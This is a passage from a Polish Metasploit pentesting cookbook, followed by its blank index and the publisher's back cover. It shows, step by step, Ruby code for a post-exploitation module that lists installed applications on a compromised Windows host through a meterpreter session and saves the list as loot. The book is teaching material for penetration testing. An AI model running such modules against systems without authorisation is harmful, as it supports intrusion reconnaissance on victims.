1. Aby rozpocząć budowę modułu, najpierw zaimportujemy biblioteki frameworku i dołączymy wymagane zależności:

```
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
```

Skrypt rozpoczyna się od dołączenia bibliotek rdzeniowych frameworku Metasploit. Następnie tworzona jest klasa, która rozszerza właściwości modułów `Msf :: Post`.

```
class Metasploit3 < Msf::Post
        include Msf::Post::Windows::Registry
```

2. Tworzymy funkcję `initialize`, która jest wykorzystywana do zainicjowania i określenia właściwości modułu oraz jego opisu. Ta podstawowa struktura pozostaje taka sama w prawie wszystkich modułach. Należy zauważyć, że dodaliśmy wcześniej biblioteki `'rex'` oraz `'registry'`. W ten sposób framework łatwo rozpozna nasze wymagania dotyczące modułu.

```
          def initialize(info={})
                 super( update_info( info,

            'Name'         => 'Windows Gather Installed Application
             ↪Enumeration',
            'Description'  => %q{ This module will enumerate all installed
             ↪applications },
            'License'      => MSF_LICENSE,
            'Platform'     => [ 'windows' ],
            'SessionTypes' => [ 'meterpreter' ]
              ))
        end
```

Kolejnym krokiem jest stworzenie tabeli, która będzie wyświetlać wyodrębnione wyniki. Do tego celu można użyć specjalnej biblioteki `Rex::Ui::Text`. Musimy zdefiniować różne kolumny:

```
def app_list
      tbl = Rex::Ui::Text::Table.new(
            'Header'  => "Installed Applications",
            'Indent'  => 1,
            'Columns' =>
                [
                  "Name",
                  "Version"
                ])
```

Główna część skryptu rozpoczyna się od budowania tabeli i określenia nazw różnych kolumn. Następnie tworzona jest osobna tablica lokalizacji w rejestrze, która zostanie wykorzystana do enumeracji aplikacji. Tablica będzie składać się z różnych wpisów w rejestrze, które zawierają informacje na temat aplikacji zainstalowanych na maszynie docelowej. Informacje o aplikacjach są przechowywane w osobnej tablicy o nazwie `apps`.

```
        appkeys = [
            'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
            'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
            'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\
             ↪CurrentVersion\\Uninstall',
            'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\
            ↪CurrentVersion\\Uninstall',
                        ]
             apps = []
```

3. Następnie rozpoczynamy proces enumeracji poprzez uruchomienie pętli, która sprawdza różne lokalizacje rejestru przechowywane w tablicy o nazwie `appskey`:

```
             appkeys.each do |keyx86|
                  found_keys = registry_enumkeys(keyx86)
                     if found_keys
                        found_keys.each do |ak|
                                 apps << keyx86 +"\\" + ak
                     end
               end
    end
```

Kolejne wiersze skryptu mają na celu wypełnienie tabeli różnymi wartościami w odpowiednich kolumnach. Skrypt wykorzystuje wbudowaną funkcję `registry_getvaldata`, która pobiera wartości z rejestru i dodaje je do tabeli:

```
t = []
   while(not apps.empty?)
       1.upto(16) do
        t << framework.threads.spawn("Module(#{self.refname})",
false,
apps.shift) do |k|
         begin
         dispnm = registry_getvaldata("#{k}","DisplayName")
         dispversion =
registry_getvaldata("#{k}","DisplayVersion")
         tbl << [dispnm,dispversion] if dispnm and dispversion
         rescue
         end
end
```

Kilka ostatnich wierszy skryptu służy do zapisywania informacji w oddzielnym pliku tekstowym o nazwie *applications.txt*. Plik jest zapełniany za pomocą funkcji `store_loot function`, która zapisuje pełną tabelę w pliku tekstowym.

```
results = tbl.to_s
                print_line("\n" + results + "\n")
                p = store_loot("host.applications", "text/plain", session,
                ↪results, "applications.txt", "Installed Applications")
                print_status("Results stored in: #{p}")
        end
        def run
```

4. Ostatecznie na ekranie wyświetlane są dane wyjściowe z informacją o utworzeniu pliku i zapisaniu w nim wyników.

```
                print_status("Enumerating applications installed on
                ↪#{sysinfo['Computer']}")
                app_list
        end
end
```

Następnym krokiem jest zapisanie kompletnego programu w odpowiednim katalogu. Musisz upewnić się, że wybrałeś właściwy katalog do przechowywania modułu. Pomoże to frameworkowi wyraźnie określić użyteczność modułu i utrzyma hierarchię w platformie. Utrzymanie hierarchii podczas aktualizacji modułów ułatwi identyfikowanie przeznaczenia modułu. Zapisanie np. modułu przeglądarki Internet Explorer w folderze *modules/exploits/windows/browser* pomoże łatwo lokalizować w tym miejscu wszelkie nowe lub istniejące moduły przeglądarki.

Określając lokalizację modułu, powinieneś wziąć pod uwagę następujące kwestie:

1. Typ modułu.
2. Działania przeprowadzane przez moduł.
3. Rodzaj podatnego na ataki oprogramowania lub systemu operacyjnego, dla których moduł jest przeznaczony.

Metasploit dla przechowywania modułów stosuje hierarchię od uogólnionego do wyspecjalizowanego formatu. Zaczyna się od rodzaju modułów, takich jak moduł exploita czy moduł pomocniczy. Następna w hierarchii jest uogólniona nazwa, np. nazwa systemu operacyjnego. Dalej tworzone są bardziej wyspecjalizowane funkcjonalności, które określają, że moduł jest np. wykorzystywany do przeglądarek internetowych. Na koniec używana jest najbardziej określona nazwa, np. konkretna nazwa przeglądarki internetowej, dla której przeznaczony jest moduł.

Weźmy pod uwagę nasz moduł. Jest to moduł fazy poeksploatacyjnej, który jest używany do przeprowadzenia enumeracji systemu operacyjnego Windows i zgromadzenia informacji o tym systemie. Powinniśmy więc przy zapisywaniu modułu zastosować odpowiednią konwencję.

Naszą lokalizacją docelową powinien być folder *modules/post/windows/gather/*.

Możesz zapisać moduł z wybraną nazwą i z rozszerzeniem *.rb*. Zapiszmy go jako *enum_applications.rb*.

Jak to wykonać

Kiedy już zapiszemy moduł w preferowanym katalogu, następnym krokiem będzie uruchomienie go i sprawdzenie, czy działa poprawnie. Proces uruchomienia modułu widzieliśmy w poprzednich recepturach.

Użyjemy nazwy modułu, aby uruchomić go w konsoli `msfconsole`:

```
msf> use post/windows/gather/enum_applications
msf post(enum_applications) > show options

Module options (post/windows/gather/enum_applcations)

Name    Current Setting    Required    Description
----    ---------------    --------    -----------
SESSION                    yes         The session...
```

Jest to prosty przykład tego, jak można zbudować własny moduł i dodać go do frameworku Metasploit. Jeśli chcesz budować dobre moduły, na pewno potrzebujesz solidnej wiedzy na temat pisania skryptów Ruby. Możesz również wspomóc społeczność Metasploit poprzez publikację swoich modułów, aby inni mogli z nich korzystać.

Skorowidz

E

F

G

H

I

J

K

L

Ł

M

N

O

P

R

S

Ś

T

U

V

W

Z

Ż

Metasploit Receptury pentestera

Wydanie II

Jeżeli Twój system przechowuje i przetwarza poufne informacje — dane osobowe, numery kart kredytowych, wiadomości e-mail, dane finansowe lub coś równie ważnego — jest łakomym kąskiem dla cyberprzestępców. Jeżeli wizja kradzieży Twoich danych spędza Ci sen z powiek i zastanawiasz się, jak najlepiej sprawdzić stan bezpieczeństwa Twojego systemu, to odpowiedź jest jedna — zaatakuj go sam! Testy penetracyjne to najskuteczniejsza metoda weryfikacji bezpieczeństwa.

Metasploit to narzędzie używane przez profesjonalistów do prowadzenia testów penetracyjnych. Jeżeli chcesz poznać najlepsze przepisy na jego wykorzystanie, to trafiłeś na doskonałą książkę! Zawiera ona ponad 80 receptur omawiających najbardziej skuteczne techniki testowania. W trakcie lektury dowiesz się, jak sprawnie skonfigurować Metasploit, ominąć ochronę antywirusową oraz skanować porty w systemach. Ponadto nauczysz się prowadzić testy penetracyjne sieci bezprzewodowych, korzystać z exploitów oraz używać modułów pomocniczych. Od dawna wiadomo, że najsłabszym ogniwem w systemie bezpieczeństwa jest człowiek, dlatego warto zaznajomić się z rozdziałem omawiającym pakiet narzędzi socjotechnicznych — *Social Engineer-Toolkit*. Książka ta jest obowiązkową pozycją na półce każdego pentestera!

Testy penetracyjne — zadbaj o bezpieczeństwo Twojego systemu!

Dzięki tej książce:

- zainstalujesz i skonfigurujesz narzędzie Metasploit
- wykorzystasz język Ruby do budowy skryptów
- przeprowadzisz testy penetracyjne sieci VoIP
- poznasz pakiet narzędzi socjotechnicznych
- skutecznie zweryfikujesz bezpieczeństwo systemu informatycznego

helion.pl księgarnia internetowa

Nr katalogowy: 23858

Księgarnia internetowa: http://helion.pl

Zamówienia telefoniczne: 0 801 339900 0 601 339900

[PACKT] open source PUBLISHING community experience distilled

Helion

Sprawdź najnowsze promocje: http://helion.pl/promocje
Książki najchętniej czytane: http://helion.pl/bestsellery
Zamów informacje o nowościach: http://helion.pl/nowosci

Helion SA
ul. Kościuszki 1c, 44-100 Gliwice
tel.: 32 230 98 63
e-mail: helion@helion.pl
http://helion.pl

Informatyka w najlepszym wydaniu

sięgnij po WIĘCEJ KOD KORZYŚCI

ISBN 978-83-246-9131-9

Cena: 59,00 zł

9 788324 691319